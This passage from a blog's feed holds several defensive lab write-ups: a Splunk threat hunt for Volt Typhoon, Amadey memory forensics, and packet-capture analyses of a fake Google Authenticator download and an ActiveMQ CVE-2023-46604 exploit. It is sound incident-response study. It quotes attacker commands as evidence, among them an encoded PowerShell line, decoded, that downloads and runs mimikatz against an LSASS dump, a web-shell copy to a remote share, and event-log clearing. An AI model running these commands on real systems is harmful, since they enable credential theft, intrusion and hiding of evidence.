<p>Doing a free search for <code class="language-plaintext highlighter-rouge">HKEY_LOCAL_MACHINE</code>, as there’s where the configuration of the computer is stored in, one of the three matches shows that the attacker executed</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Get-ItemProperty -Path "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control" | Select-Object -Property *Virtual*

</code></pre></div></div>

<blockquote>
  <p>After finding the answer, I tried to google that method to confirm that it is documented as evidence of a virtualized environment but got no luck. I just tested my lick when doing that free text search.
<img src="https://github.com/user-attachments/assets/5db0b0ea-a8c8-4870-ae31-3cba66e7008d" alt="image" /></p>
</blockquote>

<h1 id="credential-access">Credential access</h1>

<h3 id="9-using-reg-query-volt-typhoon-hunts-for-opportunities-to-find-useful-credentials-what-three-pieces-of-software-do-they-investigate">9. Using reg query, Volt Typhoon hunts for opportunities to find useful credentials. What three pieces of software do they investigate?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">openssh</code>, <code class="language-plaintext highlighter-rouge">putty</code>, <code class="language-plaintext highlighter-rouge">realvnc</code></p>

<p>I searched for free text <code class="language-plaintext highlighter-rouge">reg query</code>, as the field that contained the full command wasn’t parsed, I leveraged the <code class="language-plaintext highlighter-rouge">reg</code> built-in Splunk command to create a new field named <code class="language-plaintext highlighter-rouge">raw</code> leveraging <code class="language-plaintext highlighter-rouge">Named Capture Groups</code> that matches the entire command. As seen, the software investigated was <code class="language-plaintext highlighter-rouge">openssh</code>, <code class="language-plaintext highlighter-rouge">putty</code>, <code class="language-plaintext highlighter-rouge">realvnc</code></p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* "*reg query*" 
| rex field=_raw "(?&lt;cmd&gt;reg query\s.*)"
| table cmd // show only the field cmd
| reverse
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/98f51e4d-14f6-4201-a64b-bfe59363a5c6" alt="image" /></p>
<h3 id="10-what-is-the-full-decoded-command-the-attacker-uses-to-download-and-run-mimikatz">10. What is the full decoded command the attacker uses to download and run mimikatz?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">Invoke-WebRequest -Uri "http://voltyp.com/3/tlz/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe"; Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp", "exit") -NoNewWindow -Wait</code></p>

<p>I wasn’t sure where to start here, but I supposed that there was an encoded  a powershell command executed somewhere.
Knowing this I started by parsing the entire value of the <code class="language-plaintext highlighter-rouge">CommandLine=</code> raw field, and skimmed through all the values found that end in <code class="language-plaintext highlighter-rouge">=</code>.
Query used:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* sourcetype!=adss sourcetype!=wmic  | rex field=_raw "CommandLine=(?&lt;cmd&gt;.*=)" 
| stats count by cmd 
| sort -count
</code></pre></div></div>

<p>Malicious command</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-exec bypass -W hidden -nop -E SW52b2tlLVdlYlJlcXVlc3QgLVVyaSAiaHR0cDovL3ZvbHR5cC5jb20vMy90bHovbWltaWthdHouZXhlIiAtT3V0RmlsZSAiQzpcVGVtcFxkYjJcbWltaWthdHouZXhlIjsgU3RhcnQtUHJvY2VzcyAtRmlsZVBhdGggIkM6XFRlbXBcZGIyXG1pbWlrYXR6LmV4ZSIgLUFyZ3VtZW50TGlzdCBAKCJzZWt1cmxzYTo6bWluaWR1bXAgbHNhc3MuZG1wIiwgImV4aXQiKSAtTm9OZXdXaW5kb3cgLVdhaXQ=
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/d27c1a23-d5dc-4167-af28-da0a71718707" alt="image" />
Using CyberChef, I decoded the command.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Invoke-WebRequest -Uri "http://voltyp.com/3/tlz/mimikatz.exe" -OutFile "C:\Temp\db2\mimikatz.exe"; Start-Process -FilePath "C:\Temp\db2\mimikatz.exe" -ArgumentList @("sekurlsa::minidump lsass.dmp", "exit") -NoNewWindow -Wait
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/2cd24c63-e1fc-4d63-89d5-af24c6e60595" alt="image" /></p>

<h1 id="discovery--lateral-movement">Discovery &amp; Lateral Movement</h1>
<h3 id="11-the-attacker-uses-wevtutil-a-log-retrieval-tool-to-enumerate-windows-logs-what-event-ids-does-the-attacker-search-for">11. The attacker uses wevtutil, a log retrieval tool, to enumerate Windows logs. What event IDs does the attacker search for?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">4624</code> <code class="language-plaintext highlighter-rouge">4625</code> <code class="language-plaintext highlighter-rouge">4769</code></p>

<p>By parsing the entire CommandLine value, and by searching for all the fields that start with wevtutil, we were able to get all the commands showing the event id’s searched.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* sourcetype!=adss sourcetype!=wmic  | rex field=_raw "CommandLine=(?&lt;cmd&gt;.*=)" 
| search cmd="wevtutil*"
| table cmd
</code></pre></div></div>

<p><img src="https://github.com/user-attachments/assets/fbf3a496-82d2-4c3d-ab74-0a0e1235bc01" alt="image" />
To practice named capture groups, I’ll extract the single event ID and put it into a new field called <code class="language-plaintext highlighter-rouge">event_id</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* sourcetype!=adss sourcetype!=wmic  | rex field=_raw "CommandLine=(?&lt;cmd&gt;.*=)"
| search cmd="wevtutil*"   // search for values that start with wevtutil
| rex field=_raw ".*EventID=(?&lt;event_id&gt;\d{4}).*"   // extract eventid
| table event_id    // show only event_id field
| stats count by event_id    // count each of the values
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/c4afebb7-6456-4271-891e-b8b14a6cffa5" alt="image" /></p>
<h3 id="12-moving-laterally-to-server-02-the-attacker-copies-over-the-original-web-shell-what-is-the-name-of-the-new-web-shell-that-was-created">12. Moving laterally to server-02, the attacker copies over the original web shell. What is the name of the new web shell that was created?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">Copy-Item -Path "C:\Windows\Temp\iisstart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx</code></p>

<p>As the questioned said “Copy”, one of the possibilities could be that the attacker could’ve used the <code class="language-plaintext highlighter-rouge">Copy-Item</code> cmdlet. I free text searched for <code class="language-plaintext highlighter-rouge">*copy*</code>, and this is the last entry that was found and the only one that indicated that was explicitly transferred to server-02</p>

<p><code class="language-plaintext highlighter-rouge">Copy-Item -Path "C:\Windows\Temp\iisstart.aspx" -Destination "\\server-02\C$\inetpub\wwwroot\AuditReport.jspx</code>
<img src="https://github.com/user-attachments/assets/4fed925a-e7b9-4d02-9a83-b08e2da8fc3f" alt="image" /></p>
<h1 id="collection">Collection</h1>
<h3 id="13-the-attacker-is-able-to-locate-some-valuable-financial-information-during-the-collection-phase-what-three-files-does-volt-typhoon-make-copies-of-using-powershell">13. The attacker is able to locate some valuable financial information during the collection phase. What three files does Volt Typhoon make copies of using PowerShell?</h3>
<p>R=<code class="language-plaintext highlighter-rouge">2022.csv</code> <code class="language-plaintext highlighter-rouge">2023.csv</code> <code class="language-plaintext highlighter-rouge">2024.csv</code></p>

<p>Leveraging the free text search for <code class="language-plaintext highlighter-rouge">Copy</code>, and then extracting the value of the <code class="language-plaintext highlighter-rouge">CommandLine</code> field, I was able to review copied items and found three related to financial data.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Copy-Item -Path "C:\ProgramData\FinanceBackup\2024.csv" -Destination "C:\Windows\Temp\faudit\2024.csv"
Copy-Item -Path "C:\ProgramData\FinanceBackup\2023.csv" -Destination "C:\Windows\Temp\faudit\2023.csv"
Copy-Item -Path "C:\ProgramData\FinanceBackup\2022.csv" -Destination "C:\Windows\Temp\faudit\2022.csv"
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/34b5400e-d330-4566-a423-82ef2157a87b" alt="image" /></p>

<h1 id="c2--cleanup">C2 &amp; Cleanup</h1>
<h3 id="14-the-attacker-uses-netsh-to-create-a-proxy-for-c2-communications-what-connect-address-and-port-does-the-attacker-use-when-setting-up-the-proxy">14. The attacker uses netsh to create a proxy for C2 communications. What connect address and port does the attacker use when setting up the proxy?</h3>
<p>R=  <code class="language-plaintext highlighter-rouge">10.2.30.1</code>  <code class="language-plaintext highlighter-rouge">8443</code></p>

<p>Doing a free text search for <code class="language-plaintext highlighter-rouge">netsh</code>, it have a couple of results that indicate that a proxy was created then deleted. 
<img src="https://github.com/user-attachments/assets/a7a3c8d2-35e0-453c-9d57-c0e19889a48a" alt="image" /></p>

<p>Looking further at it, the attacker uses the address <code class="language-plaintext highlighter-rouge">10.2.30.1</code> and port <code class="language-plaintext highlighter-rouge">8443</code> to setup the proxy.
<img src="https://github.com/user-attachments/assets/3ce9dfc0-e9e3-483b-8e79-8f6af022866c" alt="image" /></p>

<h3 id="15-to-conceal-their-activities-what-are-the-four-types-of-event-logs-the-attacker-clears-on-the-compromised-system">15. To conceal their activities, what are the four types of event logs the attacker clears on the compromised system?</h3>
<p>R= <code class="language-plaintext highlighter-rouge">wevtutil cl Application Security Setup System</code></p>

<p>The <code class="language-plaintext highlighter-rouge">wevtutil</code> LOLBIN, provides an argument that allows to clear the log with it.
<img src="https://github.com/user-attachments/assets/0056e7bb-e89a-4b93-a9b4-fbdb1882ccd0" alt="image" /></p>

<p>If we search for it using the query below, we were able to determine the type of event logs the attacker cleared.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>index=* sourcetype=powershell | rex field=_raw "CommandLine=(?&lt;cmd&gt;.*)" 
| search cmd="wevtutil cl*"   // search for any cmd field value that starts with
							     wevtutil cl
| table cmd
</code></pre></div></div>
<p><img src="https://github.com/user-attachments/assets/34442763-c33f-45d7-9dd1-9b8bd2f49003" alt="image" /></p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[Initial Access Comb through the ADSelfService Plus logs to begin retracing the attacker’s steps. At what time (ISO 8601 format) was Dean’s password changed and their account taken over by the attacker? R= 2024-03-24T11:10:22]]></summary></entry><entry><title type="html">CyberDefenders Amadey Lab</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2025/06/01/CyberDefenders-Amadey-Lab.html" rel="alternate" type="text/html" title="CyberDefenders Amadey Lab" /><published>2025-06-01T00:00:00+00:00</published><updated>2025-06-01T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2025/06/01/CyberDefenders-Amadey-Lab</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2025/06/01/CyberDefenders-Amadey-Lab.html"><![CDATA[<h1 id="scenario">Scenario</h1>
<p>An after-hours alert from the Endpoint Detection and Response (EDR) system flags suspicious activity on a Windows workstation. The flagged malware aligns with the Amadey Trojan Stealer. Your job is to analyze the presented memory dump and create a detailed report for actions taken by the malware.</p>

<h1 id="questions">Questions</h1>

<h4 id="1-in-the-memory-dump-analysis-determining-the-root-of-the-malicious-activity-is-essential-for-comprehending-the-extent-of-the-intrusion-what-is-the-name-of-the-parent-process-that-triggered-this-malicious-behavior"><strong>1. In the memory dump analysis, determining the root of the malicious activity is essential for comprehending the extent of the intrusion. What is the name of the parent process that triggered this malicious behavior?</strong></h4>
<p>R= lssass.exe</p>

<p>Taking a look, using the command <code class="language-plaintext highlighter-rouge">python3 vol.py -f "../../Artifacts/Windows 7 x64-Snapshot4.vmem" windows.pstree</code>, we observe that there are two processes that look off to me, PID <code class="language-plaintext highlighter-rouge">1604</code> and <code class="language-plaintext highlighter-rouge">2748</code>. <code class="language-plaintext highlighter-rouge">1604</code> is a VMWare 
Tools core component which handlex background tasks, to my knowledge, it should be straight up executing a <code class="language-plaintext highlighter-rouge">cmd.exe</code> which calls for <code class="language-plaintext highlighter-rouge">ipconfig.exe</code>. The other process that looks very off is <code class="language-plaintext highlighter-rouge">lssass.exe</code> (PID <code class="language-plaintext highlighter-rouge">2748</code>), as you can
tell by simply looking at the name, it is trying to make the user believe that it is the core process <code class="language-plaintext highlighter-rouge">lsass.exe</code> (which we can see it seven processes above [PID <code class="language-plaintext highlighter-rouge">508</code>]).</p>

<p><img src="https://github.com/user-attachments/assets/7910fd62-7de4-48ee-9833-90c83bdf552a" alt="image" /></p>

<p>Now, using the plugin <code class="language-plaintext highlighter-rouge">windows.cmdline</code> to look at the commandline that was executed for each of the processes, we can see that <code class="language-plaintext highlighter-rouge">lssass.exe</code> is located in the publicly writable <code class="language-plaintext highlighter-rouge">%TEMP%</code> folder, which is a well-known location that
threat actors leverage to put their malicious payloads in. Also, if we look one line under, its child <code class="language-plaintext highlighter-rouge">rundll.exe</code> (PID <code class="language-plaintext highlighter-rouge">3064</code>) is executing a dll called <code class="language-plaintext highlighter-rouge">clip64.dll</code>. Googling up this dll, it is referenced in the <a href="https://www.splunk.com/en_us/blog/security/amadey-threat-analysis-and-detections.html#:~:text=Data%20Collection%20And%20Exfiltration%20(.DLL%20Plugins)">Data Collection
And Exfiltration (.DLL Plugins)</a> section in a blog of the Splunk Threat Research
Team. According to them, <code class="language-plaintext highlighter-rouge">clip64.dll</code> is one of two dlls that “<em>…play a crucial role in collecting sensitive information…</em>”</p>

<p><img src="https://github.com/user-attachments/assets/0dda2dd4-12bc-40b9-9c3d-3a72bb7f8379" alt="image" /></p>

<p>With the previous evidence, we have more than enough to state that <code class="language-plaintext highlighter-rouge">lssass.exe</code> is the disguised Amadey Trojan Stealer.</p>

<h4 id="2-once-the-rogue-process-is-identified-its-exact-location-on-the-device-can-reveal-more-about-its-nature-and-source-where-is-this-process-housed-on-the-workstation"><strong>2. Once the rogue process is identified, its exact location on the device can reveal more about its nature and source. Where is this process housed on the workstation?</strong></h4>
<p>R= C:\Users\0XSH3R~1\AppData\Local\Temp\925e7e99c5\lssass.exe</p>

<p>As we saw in the evidence provided in last’s question answer, the file is located in <code class="language-plaintext highlighter-rouge">C:\Users\0XSH3R~1\AppData\Local\Temp\925e7e99c5\</code></p>

<h4 id="3-persistent-external-communications-suggest-the-malwares-attempts-to-reach-out-c2c-server-can-you-identify-the-command-and-control-c2c-server-ip-that-the-process-interacts-with"><strong>3. Persistent external communications suggest the malware’s attempts to reach out C2C server. Can you identify the Command and Control (C2C) server IP that the process interacts with?</strong></h4>
<p>R= 41.75.84.1</p>

<p>Leveraging the plugin <code class="language-plaintext highlighter-rouge">windows.netscan</code>, it’s notorious that the information in the first entry is malformed, lacking values in <code class="language-plaintext highlighter-rouge">source ip</code>/<code class="language-plaintext highlighter-rouge">source port</code> and the destination port is 0. On the other side, there were two connection
attempts to <code class="language-plaintext highlighter-rouge">41.75.84.12</code> - both which have logical information.</p>

<p><img src="https://github.com/user-attachments/assets/2ddf51fa-572a-490f-9983-fcf5ee55e7f9" alt="image" /></p>

<h4 id="4-following-the-malware-link-with-the-c2c-the-malware-is-likely-fetching-additional-tools-or-modules-how-many-distinct-files-is-it-trying-to-bring-onto-the-compromised-workstation"><strong>4. Following the malware link with the C2C, the malware is likely fetching additional tools or modules. How many distinct files is it trying to bring onto the compromised workstation?</strong></h4>
<p>R= 2</p>

<p>By looking for GET requests, we can see that it has two GET requests for <code class="language-plaintext highlighter-rouge">/rock/Plugins/cred64.dll</code> and <code class="language-plaintext highlighter-rouge">/rock/Plugins/clip64.dll</code>.</p>

<p><img src="https://github.com/user-attachments/assets/74afc39d-7463-4036-bd03-78b565f43615" alt="image" /></p>

<h4 id="5-identifying-the-storage-points-of-these-additional-components-is-critical-for-containment-and-cleanup-what-is-the-full-path-of-the-file-downloaded-and-used-by-the-malware-in-its-malicious-activity"><strong>5. Identifying the storage points of these additional components is critical for containment and cleanup. What is the full path of the file downloaded and used by the malware in its malicious activity?</strong></h4>
<p>R= C:\Users\0xSh3rl0ck\AppData\Roaming\116711e5a2ab05\clip64.dll</p>

<p>Leveraging the <code class="language-plaintext highlighter-rouge">windows.cmdline</code> plugin, the file path is <code class="language-plaintext highlighter-rouge">C:\Users\0xSh3rl0ck\AppData\Roaming\116711e5a2ab05\clip64.dll</code></p>

<p><img src="https://github.com/user-attachments/assets/c7101f30-150a-43a7-b509-34632d01e736" alt="image" /></p>

<h4 id="6-once-retrieved-the-malware-aims-to-activate-its-additional-components-which-child-process-is-initiated-by-the-malware-to-execute-these-files"><strong>6. Once retrieved, the malware aims to activate its additional components. Which child process is initiated by the malware to execute these files?</strong></h4>
<p>R= rundll32.exe</p>

<p>From the screenshot in Q5, we can observe rundll32.exe was the process that executed <code class="language-plaintext highlighter-rouge">clip64.dll</code></p>

<h4 id="7-understanding-the-full-range-of-amadeys-persistence-mechanisms-can-help-in-an-effective-mitigation-apart-from-the-locations-already-spotlighted-where-else-might-the-malware-be-ensuring-its-consistent-presence"><strong>7. Understanding the full range of Amadey’s persistence mechanisms can help in an effective mitigation. Apart from the locations already spotlighted, where else might the malware be ensuring its consistent presence?</strong></h4>
<p>R= C:\Windows\System32\Tasks\lssass.exe</p>

<p>Scanning the filesystem for files that have been recently accessed, we can see that there’s another location where <code class="language-plaintext highlighter-rouge">lssass.exe</code> was written in.
<img src="https://github.com/user-attachments/assets/385cd18a-3960-4a66-8bb1-02bf8c09dd55" alt="image" /></p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[Scenario An after-hours alert from the Endpoint Detection and Response (EDR) system flags suspicious activity on a Windows workstation. The flagged malware aligns with the Amadey Trojan Stealer. Your job is to analyze the presented memory dump and create a detailed report for actions taken by the malware.]]></summary></entry><entry><title type="html">Traffic Analysis Exercise: Download from fake software site</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2025/03/09/Traffic-Analysis-Fake-Software.html" rel="alternate" type="text/html" title="Traffic Analysis Exercise: Download from fake software site" /><published>2025-03-09T00:00:00+00:00</published><updated>2025-03-09T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2025/03/09/Traffic-Analysis-Fake-Software</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2025/03/09/Traffic-Analysis-Fake-Software.html"><![CDATA[<h1 id="background">BACKGROUND</h1>
<p>You work as an analyst at a Security Operation Center (SOC). Someone contacts your team to report a coworker has downloaded a suspicious file after searching for Google Authenticator. The caller provides some information similar to social media posts at:</p>

<p>https://www.linkedin.com/posts/unit42_2025-01-22-wednesday-a-malicious-ad-led-activity-7288213662329192450-ky3V/
https://x.com/Unit42_Intel/status/1882448037030584611
Based on the caller’s initial information, you confirm there was an infection.  You retrieve a packet capture (pcap) of the associated traffic.  Reviewing the traffic, you find several indicators matching details from a Github page referenced in the above social media posts.  After confirming an infection happened, you begin writing an incident report.</p>

<h2 id="lan-segment-details-from-the-pcap">LAN SEGMENT DETAILS FROM THE PCAP</h2>
<p><strong>LAN segment range</strong>:  10.1.17[.]0/24   (10.1.17[.]0 through 10.1.17[.]255) <br />
<strong>Domain</strong>:  bluemoontuesday[.]com <br />
<strong>Active Directory (AD) domain controller</strong>:  10.1.17[.]2 - WIN-GSH54QLW48D <br />
<strong>AD environment name</strong>:  BLUEMOONTUESDAY <br />
<strong>LAN segment gateway</strong>:  10.1.17[.]1 <br />
<strong>LAN segment broadcast address</strong>:  10.1.17[.]255</p>

<h1 id="questions">Questions</h1>

<p><strong>1. What is the IP address of the infected Windows client?</strong> <br />
R= 10.1.17.215</p>

<p>From what was reported (phishing through “google authenticator” impersonation site, we can see the IP <code class="language-plaintext highlighter-rouge">10.1.17.215</code> connecting to the suspected site</p>
<blockquote>
  <p>Filter used: <code class="language-plaintext highlighter-rouge">(http.request or tls.handshake.type eq 1) and !(ssdp)</code></p>
</blockquote>

<p><img src="https://github.com/user-attachments/assets/2dfb4eb9-aeb3-41c4-817d-bcdfd4969ba1" alt="image" /></p>

<p><strong>2. What is the mac address of the infected Windows client?</strong> <br />
R= 00:d0:b7:26:4a:74</p>

<p>Looking into the ethernet frame, we can get its mac
<img src="https://github.com/user-attachments/assets/a62efd26-30ae-40ab-9573-d5965ba9ee4d" alt="image" /></p>

<p><strong>3. What is the host name of the infected Windows client?</strong> <br />
R= DESKTOP-L8C5GSJ</p>

<p>The <code class="language-plaintext highlighter-rouge">NETBIOS</code>protocol, allows us to know the hostname of the device
<img src="https://github.com/user-attachments/assets/c079a82f-6c7e-4525-ad10-07175428eb44" alt="image" /></p>

<p><strong>4. What is the user account name from the infected Windows client?</strong> <br />
R= shutchenson</p>

<p>Looking into the <code class="language-plaintext highlighter-rouge">Protocol Hierarchy</code> Statistics, I determined that the <code class="language-plaintext highlighter-rouge">Kerberos</code> protocol will give us a username.
<img src="https://github.com/user-attachments/assets/145b224b-90bb-4fbe-88ec-8cf4300abd8d" alt="image" /></p>

<p>The identity is located in the <code class="language-plaintext highlighter-rouge">CNameString</code> field.
<img src="https://github.com/user-attachments/assets/59e158cf-9048-4008-af62-397e741b43df" alt="image" /></p>

<p><strong>5. What is the likely domain name for the fake Google Authenticator page?</strong> <br />
R= google-authenticator.burleson-appliance.net</p>

<p>From the threat intel given in the <em>Background</em> section, the malicious sites were under the domain <code class="language-plaintext highlighter-rouge">burleson-appliance.net</code>. As shown in Q1,
there’s a site called <code class="language-plaintext highlighter-rouge">google-authenticator.burleson-appliance.net</code>, which matches what was previously seen.</p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[BACKGROUND You work as an analyst at a Security Operation Center (SOC). Someone contacts your team to report a coworker has downloaded a suspicious file after searching for Google Authenticator. The caller provides some information similar to social media posts at:]]></summary></entry><entry><title type="html">CyberDefenders OpenWire Lab</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2025/03/08/CyberDefenders-OpenWire-Lab.html" rel="alternate" type="text/html" title="CyberDefenders OpenWire Lab" /><published>2025-03-08T00:00:00+00:00</published><updated>2025-03-08T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2025/03/08/CyberDefenders-OpenWire-Lab</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2025/03/08/CyberDefenders-OpenWire-Lab.html"><![CDATA[<h1 id="scenario">Scenario</h1>
<p>During your shift as a tier-2 SOC analyst, you receive an escalation from a tier-1 analyst regarding a public-facing server. This server has been flagged for making outbound connections to multiple suspicious IPs.
In response, you initiate the standard incident response protocol, which includes isolating the server from the network to prevent potential lateral movement or data exfiltration and obtaining a packet capture from
the NSM utility for analysis. Your task is to analyze the pcap and assess for signs of malicious activity.</p>

<h1 id="questions">Questions</h1>
<p><strong>1. By identifying the C2 IP, we can block traffic to and from this IP, helping to contain the breach and prevent further data exfiltration or command execution. Can you provide the IP of the C2 server that communicated with our server?</strong> <br />
R= 146.190.21.92 <br />
Looking at the <code class="language-plaintext highlighter-rouge">Conversations</code> statistics, the third row seems to stand out, as it’s the one that has the larger amount of packets and duration as well.
<img src="https://github.com/user-attachments/assets/90e3302a-e00d-457c-b348-d7628906a6fd" alt="image" /></p>

<p>The first HTTP request, is a <code class="language-plaintext highlighter-rouge">GET</code> type, where <code class="language-plaintext highlighter-rouge">134.209.197.3</code> is retrieving <code class="language-plaintext highlighter-rouge">invoice.xml</code> from <code class="language-plaintext highlighter-rouge">146.190.21.92</code> using port <code class="language-plaintext highlighter-rouge">8000</code>.
<img src="https://github.com/user-attachments/assets/96fb79b0-adcd-494d-a8e2-b42b74e76ba8" alt="image" /></p>

<p>Looking into the details of the response from the destination, the xml file contains instructions to retrieve the file <code class="language-plaintext highlighter-rouge">docker</code> from <code class="language-plaintext highlighter-rouge">128.199.52.72</code>, save it as <code class="language-plaintext highlighter-rouge">/tmp/docker</code>,
give execute rights (using <code class="language-plaintext highlighter-rouge">chmod +x</code>) and then executing the file.
<img src="https://github.com/user-attachments/assets/26ce0a1c-ec16-454f-b898-46398fc4c290" alt="image" /></p>

<p>Here we can see the three way handshake to the IP aforementioned, and the successful retrieval of the file. 
<img src="https://github.com/user-attachments/assets/7fb367d5-bf36-481d-a229-b184432b95af" alt="image" /></p>

<p>In this case, the C2 IP is <code class="language-plaintext highlighter-rouge">146.190.21.92</code> as it`s the one orchestrating the actions required to further compromise the server.</p>

<p><strong>2. Initial entry points are critical to trace back the attack vector. What is the port number of the service the adversary exploited?</strong> <br />
R= 61616<br />
In this case, the threat actor exploited the <code class="language-plaintext highlighter-rouge">ActiveMQ</code> service, which uses port <code class="language-plaintext highlighter-rouge">61616</code>.
<img src="https://github.com/user-attachments/assets/554b4a80-f131-48fb-9b59-93bd0634ac10" alt="image" /></p>

<p>That makes sense, as the user agent of the first file retrieved <code class="language-plaintext highlighter-rouge">invoice.xml</code> is from Java.
<img src="https://github.com/user-attachments/assets/842f5511-56f4-4e84-a4e5-e203686cf103" alt="image" /></p>

<p><strong>3. Following up on the previous question, what is the name of the service found to be vulnerable?</strong> <br />
R= apache activemq</p>

<p><strong>4. The attacker’s infrastructure often involves multiple components. What is the IP of the second C2 server?</strong> <br />
R= 128.199.52.72 <br />
As mentioned in Q1, the second stage payload <code class="language-plaintext highlighter-rouge">docker</code> was downloaded from <code class="language-plaintext highlighter-rouge">128.199.52.72</code></p>

<p><strong>5. Attackers usually leave traces on the disk. What is the name of the reverse shell executable dropped on the server?</strong> <br />
R= docker <br />
So far, the only file that we have that we don’t know what it does is the one named <code class="language-plaintext highlighter-rouge">docker</code>. If we extract it using the <code class="language-plaintext highlighter-rouge">Export</code> &gt; <code class="language-plaintext highlighter-rouge">HTTP object list</code>, and then
submit it to virustotal, we can see that it detects it as shellcode (code that allows an attacker to get access to the system by spawning a command shell).</p>

<p><img src="https://github.com/user-attachments/assets/4c3562ac-4648-42d6-a5af-8b02cb693723" alt="image" /></p>

<p><strong>6. What Java class was invoked by the XML file to run the exploit?</strong> <br />
R= java.lang.ProcessBuilder <br />
Looking into the xml, we can confirmed that the class <code class="language-plaintext highlighter-rouge">java.lang.ProcessBuilder</code> was invoked
<img src="https://github.com/user-attachments/assets/58f22829-0448-4b8d-bed4-d1d9260ce0ac" alt="image" /></p>

<p><strong>7. To better understand the specific security flaw exploited, can you identify the CVE identifier associated with this vulnerability?</strong> <br />
R= CVE-2023-46604 <br />
Searching in google <code class="language-plaintext highlighter-rouge">activemq port 61616 exploit</code>, the activity described matches with what we saw.</p>

<p>https://www.huntress.com/blog/critical-vulnerability-exploitation-of-apache-activemq-cve-2023-46604
<img src="https://github.com/user-attachments/assets/530a2fe7-9632-4b3a-9389-5574c7618f3f" alt="image" /></p>

<p><img src="https://github.com/user-attachments/assets/6dad42d7-35a3-45f2-8b78-75a4b1a2c683" alt="image" /></p>

<p><strong>8. As part of addressing the vulnerability, the vendor implemented a validation step to prevent exploitation. Specify the Java class and method where this validation step was added.</strong> <br />
R= BaseDataStreamMarshaller.createThrowable<br />
In https://activemq.apache.org/security-advisories.data/CVE-2023-46604-announcement.txt, it mentions that the issue is tracked as <code class="language-plaintext highlighter-rouge">AMQ-9370</code>.</p>

<p>Looking into that issue, we end in the source code of changes. The change was actually done in multiple versions of the software (as expected). All of them under the class <code class="language-plaintext highlighter-rouge">BaseDataStreamMarshaller</code> and method <code class="language-plaintext highlighter-rouge">createThrowable</code>
<img src="https://github.com/user-attachments/assets/cbf66b58-7638-4032-a022-87c1a53379dc" alt="image" /></p>]]></content><author><name>Eduardo Reta</name></author><summary type="html"><![CDATA[Scenario During your shift as a tier-2 SOC analyst, you receive an escalation from a tier-1 analyst regarding a public-facing server. This server has been flagged for making outbound connections to multiple suspicious IPs. In response, you initiate the standard incident response protocol, which includes isolating the server from the network to prevent potential lateral movement or data exfiltration and obtaining a packet capture from the NSM utility for analysis. Your task is to analyze the pcap and assess for signs of malicious activity.]]></summary></entry><entry><title type="html">Practical Malware Analysis &amp;amp; Triage - Challenge 1: Silly Putty</title><link href="https://airinspiration.github.io/eduardo_reta_blog/2024/09/28/PMAT-reverse-engineering-challenge-1.html" rel="alternate" type="text/html" title="Practical Malware Analysis &amp;amp; Triage - Challenge 1: Silly Putty" /><published>2024-09-28T00:00:00+00:00</published><updated>2024-09-28T00:00:00+00:00</updated><id>https://airinspiration.github.io/eduardo_reta_blog/2024/09/28/PMAT-reverse-engineering-challenge-1</id><content type="html" xml:base="https://airinspiration.github.io/eduardo_reta_blog/2024/09/28/PMAT-reverse-engineering-challenge-1.html"><![CDATA[<h1 id="challenge-1-sillyputty-walkthrough">Challenge 1: SillyPutty Walkthrough</h1>
<p>This is the first challenge of the course from TCM Academy called “Practical Malware Analysis &amp; Triage”.</p>

<h2 id="challenge-questions">Challenge Questions:</h2>

<h3 id="basic-static-analysis">Basic Static Analysis</h3>
<hr />

<ul>
  <li>
    <p>What is the SHA256 hash of the sample? <br />
  <strong>R=</strong> 0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83  <br />
  <img src="https://github.com/user-attachments/assets/079f6aa2-3ec8-4426-99ba-ecbe80433cf3" alt="image" /></p>
  </li>
  <li>
    <p>What architecture is this binary? <br />
  <strong>R=</strong> Using PEstudio, we can confirm it is a 32-bit binary. <br />
  <img src="https://github.com/user-attachments/assets/bd791d76-1933-459c-8b42-a33953b9a036" alt="image" /></p>
  </li>
  <li>
    <p>Are there any results from submitting the SHA256 hash to VirusTotal?</p>

    <p><strong>R=</strong> Yes, it is widely detected by anti-virus engines. It’s interesting that it is detected as “meterpreter” from the “Threat Label”. We now know in advanced that most likely this is the payload from metasploit.
  <img src="https://github.com/user-attachments/assets/e258c7da-7749-46e3-89c9-9561178e7fe9" alt="image" /></p>
  </li>
  <li>
    <p>Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings?</p>

